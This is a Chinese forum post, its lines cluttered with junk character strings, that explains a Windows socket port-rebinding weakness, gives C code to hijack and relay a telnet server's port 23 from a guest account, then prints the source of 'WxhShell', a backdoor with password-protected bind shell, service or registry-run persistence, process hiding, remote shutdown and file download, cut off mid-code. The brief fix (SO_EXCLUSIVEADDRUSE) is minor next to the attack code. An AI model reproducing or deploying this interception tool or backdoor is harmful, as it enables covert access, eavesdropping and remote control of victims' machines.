在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
z OwKh>] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
C:z+8w t t<=Ru*p saddr.sin_family = AF_INET;
Q8-;w{% _v=S4A#tF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J:W|2U=" E%Tpby}^' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4-j3&( })#VO-J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
T($d3Nn1 uBpnfIe 这意味着什么?意味着可以进行如下的攻击:
V9KI?}q:W 5PF?Eq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0PdeK'7 80J87\) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_A]8l52pt 7Yv1et
| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
l-^2>K[ s"OP[YEke/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9mA6nmp HrOq>CSR 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i28WgDG)5 `G/%U~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
aMv?D(Meb yV"k:_O{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r_R(kns xA7>";sla[ #include
GgT 5'e;N #include
+lYo5\1= #include
uX/K/4 #include
JRgrg DWORD WINAPI ClientThread(LPVOID lpParam);
-d-vzri int main()
~,YxUn8@ {
f%,Vplb WORD wVersionRequested;
%<dvdIB DWORD ret;
WZ@hP'Zc WSADATA wsaData;
I1f4u6\*X BOOL val;
}xx" SOCKADDR_IN saddr;
,5*Z<[* SOCKADDR_IN scaddr;
)wZ;}O int err;
[|qV*3|? SOCKET s;
;-0
d 2Z SOCKET sc;
Ga<Uvr%+ int caddsize;
Ow"e3]}Mt HANDLE mt;
}>93X0%r DWORD tid;
4 H<. wVersionRequested = MAKEWORD( 2, 2 );
r~[Bzw"c err = WSAStartup( wVersionRequested, &wsaData );
nu(;yIRP if ( err != 0 ) {
Ppton+?( printf("error!WSAStartup failed!\n");
mV>l`&K= return -1;
we("#s1= }
'@0Z#A saddr.sin_family = AF_INET;
#}xw
*)3 s78MXS?py //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/]1$Soo ]3D>ai? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
gPE`mE saddr.sin_port = htons(23);
uqotVil, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZA1:Y{V {
']bw37_U, printf("error!socket failed!\n");
"1P[D'HV4| return -1;
AONEUSxJ }
:
Iq val = TRUE;
A4~-{.w= //SO_REUSEADDR选项就是可以实现端口重绑定的
M&[bb $00j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8NZQTRdH {
Sj'Iz # printf("error!setsockopt failed!\n");
d6+$[4w return -1;
2RbK##`vC }
v:F_!Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
AAXlBY6Y- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fzdWM:g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]Y3NmL 11^.oa+` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H*H~~yQ {
u~xfI[8C ret=GetLastError();
;!hwcO kX printf("error!bind failed!\n");
{{r.?m#{ return -1;
&wa2MNCG8 }
,*kh{lJ listen(s,2);
Y&uwi:_g while(1)
h}y]Pt? {
Zxw
cqN caddsize = sizeof(scaddr);
0SV<Pl^ //接受连接请求
eF"k"Ckt' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
O0^?VW$y_ if(sc!=INVALID_SOCKET)
;7>k[?'e {
NNxzZ!q! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Jn&^5,J]F8 if(mt==NULL)
wS7nTZfw {
v]GQb printf("Thread Creat Failed!\n");
O#@G
.~n? break;
<dGph }
;?G.., }
/:;"rnvq CloseHandle(mt);
uXo uN$& }
j.ZXLe~ closesocket(s);
\
z3>kvk WSACleanup();
;Rf@S$ return 0;
s'^sT=b }
HfPu~P DWORD WINAPI ClientThread(LPVOID lpParam)
^]NFr*'! {
JKz]fgOd$ SOCKET ss = (SOCKET)lpParam;
M<nH SOCKET sc;
50CjH"3PZ` unsigned char buf[4096];
%M*2 j%6 SOCKADDR_IN saddr;
|jB/d@RE long num;
R=J5L36F DWORD val;
@~QI3)=s DWORD ret;
5S*aZ1t18 //如果是隐藏端口应用的话,可以在此处加一些判断
F.{$HJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`F$lO2 #k saddr.sin_family = AF_INET;
BR-4L2[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
iv
~<me0F saddr.sin_port = htons(23);
7O-fc1OTv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m%cwhH_B {
FL{$9o\@ printf("error!socket failed!\n");
}60/5HNr return -1;
3UX6 Y]E3 }
r+!29 val = 100;
[Y4Wm? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z,oCkv("n {
74=zLDDS ret = GetLastError();
90 >V he return -1;
7NRm\%^q }
g3
opN>W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^GS\(egt {
\<HY'[gr ret = GetLastError();
+i~kqiy. return -1;
T0 {X, }
v,kvLjqt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v?YxF} {
j}O7fLRu printf("error!socket connect failed!\n");
Gl%N}8Cim closesocket(sc);
N /zP!%L closesocket(ss);
jp7cPpk:LG return -1;
NRT@"3,1YP }
6 Nws>(Ij while(1)
7]_zWx,r {
*\Lr]6k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:O7n*lwx //如果是嗅探内容的话,可以再此处进行内容分析和记录
'5(T0Ws/w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@A|#/]S1 num = recv(ss,buf,4096,0);
&~c`p [ if(num>0)
&3OV|ly] send(sc,buf,num,0);
R;zf x/ else if(num==0)
)O2IEwPd. break;
SZUo RWx num = recv(sc,buf,4096,0);
=6
3tp 9 if(num>0)
7h.fT` send(ss,buf,num,0);
{DapXx else if(num==0)
q8!]x-5$6j break;
`pjB^--w }
w*]FJ-b<.j closesocket(ss);
HQNpf1=D closesocket(sc);
F5y&"Y_ return 0 ;
6ZAZJn| }
Yd(<;JKF[ vY7@1_" q+} \(| ==========================================================
\&l@rMD3s B3<sSe8L0 下边附上一个代码,,WXhSHELL
8F&Y; 4peRbm ==========================================================
Q_Wg4n5 s!S_Bt):3 #include "stdafx.h"
DYoGtks( I_ AFHrj #include <stdio.h>
(*_lLM@Cd #include <string.h>
TPs
]n7]: #include <windows.h>
"|Kag|(qB #include <winsock2.h>
_'4S1 #include <winsvc.h>
phQ{<wzwp #include <urlmon.h>
s\< @v7A kE :{#>[Uz #pragma comment (lib, "Ws2_32.lib")
OIIA^QyV #pragma comment (lib, "urlmon.lib")
6Jq3l_ cTq;<9Iew #define MAX_USER 100 // 最大客户端连接数
3~{0X- #define BUF_SOCK 200 // sock buffer
~uV(/?o% #define KEY_BUFF 255 // 输入 buffer
1IlOU|4 Ylyk/ #define REBOOT 0 // 重启
gZiwXb #define SHUTDOWN 1 // 关机
!zsrORF{
CvR-lKV< #define DEF_PORT 5000 // 监听端口
%@:6& |+KwyHE`9 #define REG_LEN 16 // 注册表键长度
?\)h2oi!F5 #define SVC_LEN 80 // NT服务名长度
%E"v@ JL>frS3M // 从dll定义API
UZs'H"K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:>/6:c?atG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
CYlS8j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-$X4RS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
h#c7v!g zkiwFEHA= // wxhshell配置信息
!??g:2 struct WSCFG {
80`$F{xcX int ws_port; // 监听端口
f7 |Tp m char ws_passstr[REG_LEN]; // 口令
Zu<S<??Jf int ws_autoins; // 安装标记, 1=yes 0=no
-w>ss& char ws_regname[REG_LEN]; // 注册表键名
5fMlOP_ char ws_svcname[REG_LEN]; // 服务名
Pf/8tXs} char ws_svcdisp[SVC_LEN]; // 服务显示名
xQ2:tY#? char ws_svcdesc[SVC_LEN]; // 服务描述信息
CB
X}_]9X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)\j
dF-s int ws_downexe; // 下载执行标记, 1=yes 0=no
!!ma]pB, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*Hi}FI char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0OQ*V~>f 2% /Kf}+ };
=6+99<G|%M +xgP&nw[- // default Wxhshell configuration
w0+X;aId struct WSCFG wscfg={DEF_PORT,
7>f"4r_r6< "xuhuanlingzhe",
u:f.;? 1,
ksCF"o/@V "Wxhshell",
-SfU.XlZl "Wxhshell",
x7Gf):,LK "WxhShell Service",
ktS^^!,l% "Wrsky Windows CmdShell Service",
:`Ep#[Wvo "Please Input Your Password: ",
Br15S};Ce 1,
z{FFTb^B "
http://www.wrsky.com/wxhshell.exe",
o(H.1ESk "Wxhshell.exe"
Vh>cV };
=R~zD4{" 2gZ nrU // 消息定义模块
H Tv#2WX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#0hqfs char *msg_ws_prompt="\n\r? for help\n\r#>";
qE|syA9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.ANR|G char *msg_ws_ext="\n\rExit.";
QQ_7Q^ char *msg_ws_end="\n\rQuit.";
H9PnJr8 \ char *msg_ws_boot="\n\rReboot...";
1q@R04i char *msg_ws_poff="\n\rShutdown...";
X:I2wJDs\ char *msg_ws_down="\n\rSave to ";
"wuO[c&%/ jd,i=P% char *msg_ws_err="\n\rErr!";
~%C F3?e6 char *msg_ws_ok="\n\rOK!";
+iFt) G~v:@ char ExeFile[MAX_PATH];
~;a\S3 int nUser = 0;
\gB~0@[\7 HANDLE handles[MAX_USER];
Goc?HR int OsIsNt;
w^ OB ."=%]l0 SERVICE_STATUS serviceStatus;
|q8N$m SERVICE_STATUS_HANDLE hServiceStatusHandle;
aidQ,(PDj EFljUT?& // 函数声明
K5|~iW' int Install(void);
SOOJq C int Uninstall(void);
Je6wio-4 int DownloadFile(char *sURL, SOCKET wsh);
qT !lq int Boot(int flag);
`}KxzD void HideProc(void);
1kw*Q: int GetOsVer(void);
)dqNN tS int Wxhshell(SOCKET wsl);
0 p?AL= void TalkWithClient(void *cs);
fK+
5 int CmdShell(SOCKET sock);
w$AR int StartFromService(void);
Eu:/U*j int StartWxhshell(LPSTR lpCmdLine);
mO]>] ZJQFn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]K*R[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
DU$#tg}{ 5h`L W AB // 数据结构和表定义
Kx&"9g$ SERVICE_TABLE_ENTRY DispatchTable[] =
4xr^4\lk {
JO0o@M5H {wscfg.ws_svcname, NTServiceMain},
<Q/)SN6_E {NULL, NULL}
GCq4{_B\Q };
` =P_ed%&' FZ?eX`, // 自我安装
q(:L8nKT] int Install(void)
!5C"`@}q> {
LUId<We char svExeFile[MAX_PATH];
[}j a\!P HKEY key;
+:-xV strcpy(svExeFile,ExeFile);
WV.hQX9P $/D?Vw:] // 如果是win9x系统,修改注册表设为自启动
NytTyk) if(!OsIsNt) {
^@O7d1&y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)!\6 "{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YCh`V[0 RegCloseKey(key);
rMi\#[oB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
GRbbU#/=G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qar{*>LCG RegCloseKey(key);
c8"Qmy return 0;
`dG;SM$T, }
RuIBOo\XL7 }
c/A?-9 }
05T?c{ ; else {
i79$D:PcLa h!%y,4IBR // 如果是NT以上系统,安装为系统服务
m2jts(stp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6bhb_U'f if (schSCManager!=0)
R|M]mwa^w {
n}IGxum8` SC_HANDLE schService = CreateService
xZ P
SUEG (
R$hIgw+p[ schSCManager,
~M{/cv wscfg.ws_svcname,
; Z7!BU wscfg.ws_svcdisp,
r8:"\%"f> SERVICE_ALL_ACCESS,
!zF07.(E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5l1R")0`t_ SERVICE_AUTO_START,
X"+p=PGZK SERVICE_ERROR_NORMAL,
K+!e1
' svExeFile,
4Ii5V
c NULL,
jaodcT0 NULL,
IRx%L? NULL,
"WQ6[;&V NULL,
]zaTX?F: NULL
IiqqdU] );
_$c o Y if (schService!=0)
.,xyE--;d {
sV,Yz3E<u$ CloseServiceHandle(schService);
x4c|/}\)*
CloseServiceHandle(schSCManager);
aYT!xdCI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~LpkA`Hn! strcat(svExeFile,wscfg.ws_svcname);
/X.zt
` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Lk,q~
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
SDO:Gma RegCloseKey(key);
go AV+V7 return 0;
4~h0/H" }
6384$mT,S }
F +(S-Qk1 CloseServiceHandle(schSCManager);
[BD`h }
\{:A&X~\! }
jDb\4QyC 7WS$fUBi return 1;
(KyOo,a }
re[5lFQ~Z NL$z4m0 // 自我卸载
}k-8PG = int Uninstall(void)
XdCP!iq*8 {
E#:!&{O HKEY key;
= EFh*sp /Tm+&Jd if(!OsIsNt) {
2A~o)7JaZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\]f+{d-& RegDeleteValue(key,wscfg.ws_regname);
6_KvS RegCloseKey(key);
{:!>Y1w> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gR# k' RegDeleteValue(key,wscfg.ws_regname);
M9R'ONYAa RegCloseKey(key);
tUxH6IS return 0;
9gw;MFP)D }
z+Fu{<#( }
Vs l,u }
uc@4fn else {
ZN$%\,< b`D]L/}pr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(Q=o9o:b if (schSCManager!=0)
SkmTW@v {
CYy=f- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-_t4A * if (schService!=0)
8bdO-LJ9 {
ptT-{vG if(DeleteService(schService)!=0) {
02t({>` CloseServiceHandle(schService);
4;Ucas6 CloseServiceHandle(schSCManager);
_-y1>{]H return 0;
TYGI
f4z }
56<U xIa~ CloseServiceHandle(schService);
tdxzs_V,- }
'[liZCg CloseServiceHandle(schSCManager);
J^jd@E }
07:V[@' }
}p*|8$#x" WyatHC return 1;
E8r6P:5d` }
N
Nk "NA<^2W@J // 从指定url下载文件
XyN
" Jr int DownloadFile(char *sURL, SOCKET wsh)
$+GDPYm' {
u*2?Gky HRESULT hr;
zO"De~[9 char seps[]= "/";
S:j{R^$k char *token;
%P s.r{%{ char *file;
C @<T(`o char myURL[MAX_PATH];
r'{N_|:vv char myFILE[MAX_PATH];
v; i4ZSV^A lM4 Z7mT / strcpy(myURL,sURL);
)1#/@cU token=strtok(myURL,seps);
Xrb7.Y0d while(token!=NULL)
]?1_.Wjtt {
^PNDxtd|v file=token;
k5aB|xo token=strtok(NULL,seps);
@z ",1^I }
#tu>h d~~, 5E GetCurrentDirectory(MAX_PATH,myFILE);
)TiM>{ strcat(myFILE, "\\");
T}^3 Re`i strcat(myFILE, file);
]$L5}pE3 send(wsh,myFILE,strlen(myFILE),0);
:5CyR3P send(wsh,"...",3,0);
o-H?q! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
v%T'!(0j/ if(hr==S_OK)
a r8iuwfZ return 0;
gyAJ#N| else
[G$ #jUt/O return 1;
Rmmu#-{Y 4t(/F` }
hH5~T5?\ f}2}Ta // 系统电源模块
Z
C01MDIY int Boot(int flag)
_*e_?]G- {
r c[~S HANDLE hToken;
9qCE{[( TOKEN_PRIVILEGES tkp;
m_0y ]RfG [A =0fg5 if(OsIsNt) {
wX}p6yyN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\:{K",2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
YOLzCnI4 tkp.PrivilegeCount = 1;
uT,i& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[5L?#Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1-E6ACq if(flag==REBOOT) {
r9{@e^Em if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-}UY2) return 0;
8_4!Ar>2 }
e%)iDt\j else {
_x(hlHFk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
082iEG return 0;
dVB#Np }
*KDTBd }
LXX('d else {
-W^{)%4g if(flag==REBOOT) {
$]_SPu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rwXpB<@l@ return 0;
F\+AA }
FhY#3-jH else {
'(B -{}l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~wuCa!!A return 0;
EQlb:;j }
\54B }
&Iy5@8 9pnOAM} return 1;
%Ve@DF8G }
nu+K
N,3R" |#o' =whTl // win9x进程隐藏模块
VB*c1i void HideProc(void)
4Pc-A {
wJ2cAX;" nE8z1hBUq HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"|Q.{(|kO1 if ( hKernel != NULL )
E<+ G5j {
bdstxjJ` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:5/Ue,~ag ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
EF:ec9 . FreeLibrary(hKernel);
dlfjx }
5&Yt=)c\ zs]ubJC@ return;
>&;J/ME }
J@/4CSCR] xwZ1Q,'C // 获取操作系统版本
~*1>)P8]# int GetOsVer(void)
iT==aJ=~/& {
V WZpEi OSVERSIONINFO winfo;
G@ot^n3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JR]elRR GetVersionEx(&winfo);
0=HB!{@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%HpPTjAW return 1;
}:faHLYT else
N}U+K return 0;
QxW+|Gt._ }
}O~D3z4l0 ]*| hd/j // 客户端句柄模块
9*I[q[>9 int Wxhshell(SOCKET wsl)
=JE<oVP8 {
wicsf<] SOCKET wsh;
#Q7:Mu+ struct sockaddr_in client;
L^t%p1R DWORD myID;
DlCN Wo&22,EB while(nUser<MAX_USER)
rT4Q^t" {
uxL+oP0 int nSize=sizeof(client);
QDY uJ&!h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
C2rG3X^~Jm if(wsh==INVALID_SOCKET) return 1;
S\N l|U[ " J9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BN]o!Y if(handles[nUser]==0)
j7&#R+f closesocket(wsh);
M**Sus87Q else
gD)M7`4 nUser++;
s3A(`heoq }
E8kD#tL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
IIY_Q9in Ag0w8F return 0;
V z }
Qc*p+N+$ c`3`}&g# // 关闭 socket
C0w_pu void CloseIt(SOCKET wsh)
Ux',ma1JK {
(ww4( closesocket(wsh);
KB~[nZs7 nUser--;
'v Vt^h2 ExitThread(0);
}\<=B%{
}
*3Lo[GE> ;q-c[TZC // 客户端请求句柄
'{cND void TalkWithClient(void *cs)
^jL)<y4` {
?qs LR hd'QMr[; SOCKET wsh=(SOCKET)cs;
_Ml?cT/J.O char pwd[SVC_LEN];
;C*2Djb*n char cmd[KEY_BUFF];
,?m@Ko7Y char chr[1];
aOg9Dqtg)f int i,j;
YvG$2F |_) &J/!D# while (nUser < MAX_USER) {
Cw:|(`9 ~_;.ZZ-H] if(wscfg.ws_passstr) {
YkF LNCg4} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>)Qq^?U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
66>X$nx(z //ZeroMemory(pwd,KEY_BUFF);
Nt\07*`qCr i=0;
KF
*F while(i<SVC_LEN) {
m$[:J ?3DFm // 设置超时
5u9 lKno fd_set FdRead;
c(Y~5A{TXO struct timeval TimeOut;
m
%+'St|qr FD_ZERO(&FdRead);
qh>An;:u FD_SET(wsh,&FdRead);
j^#\km B TimeOut.tv_sec=8;
+/$&P3 TimeOut.tv_usec=0;
^-?^iWQG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(BH<\&yHE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
n+=7u[AZi ).,twf58 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<k1muSe pwd
=chr[0]; &0T7Uv-`
if(chr[0]==0xd || chr[0]==0xa) { v,Kum<oi?
pwd=0; kPy7e~
break; !Usmm8!K
} 8?L-3/
i++; ,~$sJ2
g7
} g,YF$:e
tpzWi
W/
// 如果是非法用户,关闭 socket g0jfLv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9mtndTT 5u
} IG}yGGn
4Kj8i
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qYe`</
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .DwiIr'
j#c@dze
while(1) { =\8 x
tAjT-CXg
ZeroMemory(cmd,KEY_BUFF); ![{/V,V]~
\l0!si
// 自动支持客户端 telnet标准 h] )&mFiE"
j=0; &/' O?HWl
while(j<KEY_BUFF) { 76[qFz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '$yy
cmd[j]=chr[0]; r4FSQ$[9w
if(chr[0]==0xa || chr[0]==0xd) { FDiDHOR
cmd[j]=0; u$nmnd`g
break; pT+OPOSR
} 4avkyFj!h
j++; '9vsv\A&
} B;Z _'.i,d
1HSt}
// 下载文件 xK[[b
if(strstr(cmd,"http://")) { :1t&>x=T
send(wsh,msg_ws_down,strlen(msg_ws_down),0); p{qA%D
if(DownloadFile(cmd,wsh)) 8M3DG=D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yp]vDm
else qe1>UfY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NV{= tAR
} xZq, kP^
else { ?gU-a
Tl_o+jj
switch(cmd[0]) { #.]W>hN8\
FLsJ<C~/~
// 帮助 "9c!p
case '?': { ]EN&EA"<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5't9/8i
break; U\{I09@E 0
} [4;_8-[Nv
// 安装 v8uUv%Hkd
case 'i': { OPq6)(Q
if(Install()) F-~Xbz%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k=Wt57jt
else *mn9CVZ(}M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eos;7$u[
break;
iH>JR[A
} 8PeVHpZ
// 卸载 g-x;a0MQx
case 'r': { 8j]QnH0&
if(Uninstall()) kotKKs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <#Fex'4
else jtpk5 fJB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ept:<!4
break; {9@E[bWp#
} DB jUHirK
// 显示 wxhshell 所在路径 Q[`2?j?
case 'p': { .Xxxz
Wyk
char svExeFile[MAX_PATH]; `N7erM
strcpy(svExeFile,"\n\r"); &8%^o9sH
strcat(svExeFile,ExeFile); Iw$T'I+4W
send(wsh,svExeFile,strlen(svExeFile),0); w3fD6$
break; JqN$B\J,
} NXOvC!<
// 重启 e \kR/<L
case 'b': { ](ztb)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6QPbmO]z
if(Boot(REBOOT)) w3>G3=b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H?ue!5R#L
else { (a,`Y.
closesocket(wsh); 0icB2Jm:D}
ExitThread(0); JO87rG
} s.Mrd~(Drz
break; ]YDqmIW
} "tK3h3/Xv
// 关机 La^Zr,T!
case 'd': { f|!@H><
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {qry2ZT5
if(Boot(SHUTDOWN)) LM.#~7jC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5(\[Gke
else { lm'.G99{
closesocket(wsh); ?K.!^G
ExitThread(0); 1Ji"z>H*
} <(qdxdUp
break; #TP Y%
} Uzn
// 获取shell eLyIQo W
case 's': { wDh&S{N
CmdShell(wsh); w6B`_Z'f
closesocket(wsh); iVqF]2>
ExitThread(0); a}Jy o!.
break; Oo\~'I
} giN(wPgYP
// 退出 sg]g;U
case 'x': { PO2]x:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r7)iNTQ1
CloseIt(wsh); >R/^[([;]
break; r^\Wo7q
} \>eFs} Y/
// 离开 D>wo>,G
case 'q': { Hc
q@7g
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :~,akX$
closesocket(wsh); *41WZ E
WSACleanup(); 5bWy=Xk
B
exit(1); 1T3YFt@&I
break; XoiZ"zE
} 0ENqK2
} A kqGk5e
^
} #|e5i9l*B
1Imb"E
// 提示信息 0*u X2*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JDMsco+j5
} Od]wh
} sy9Yd PPE
Y9(BxDP_+Y
return; Yr:$)ap
} *-_joAWTG
_lk5\bu
// shell模块句柄 |VoYFoiQ
int CmdShell(SOCKET sock) Qc:Sf46O
{ a@gm r%C
STARTUPINFO si; RKz _GEH)
ZeroMemory(&si,sizeof(si)); y|D-W>0cX3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C_hIPMU=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3j$,x(ua9
PROCESS_INFORMATION ProcessInfo; VzFzVeJ
char cmdline[]="cmd"; <gr2k8m6$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m9m~ 2
return 0; z;i4F.p
} -IS?8\Q<
n~&e>_;(.
// 自身启动模式 \cq.M/p
int StartFromService(void) IRDD
{ .rbKvd?-}
typedef struct Z@:R'u2Lk
{ }pPt- k
DWORD ExitStatus; k Nw3Qr
DWORD PebBaseAddress; }4I;<%L3`
DWORD AffinityMask; n!XSB7d~X
DWORD BasePriority; C)s*1@af
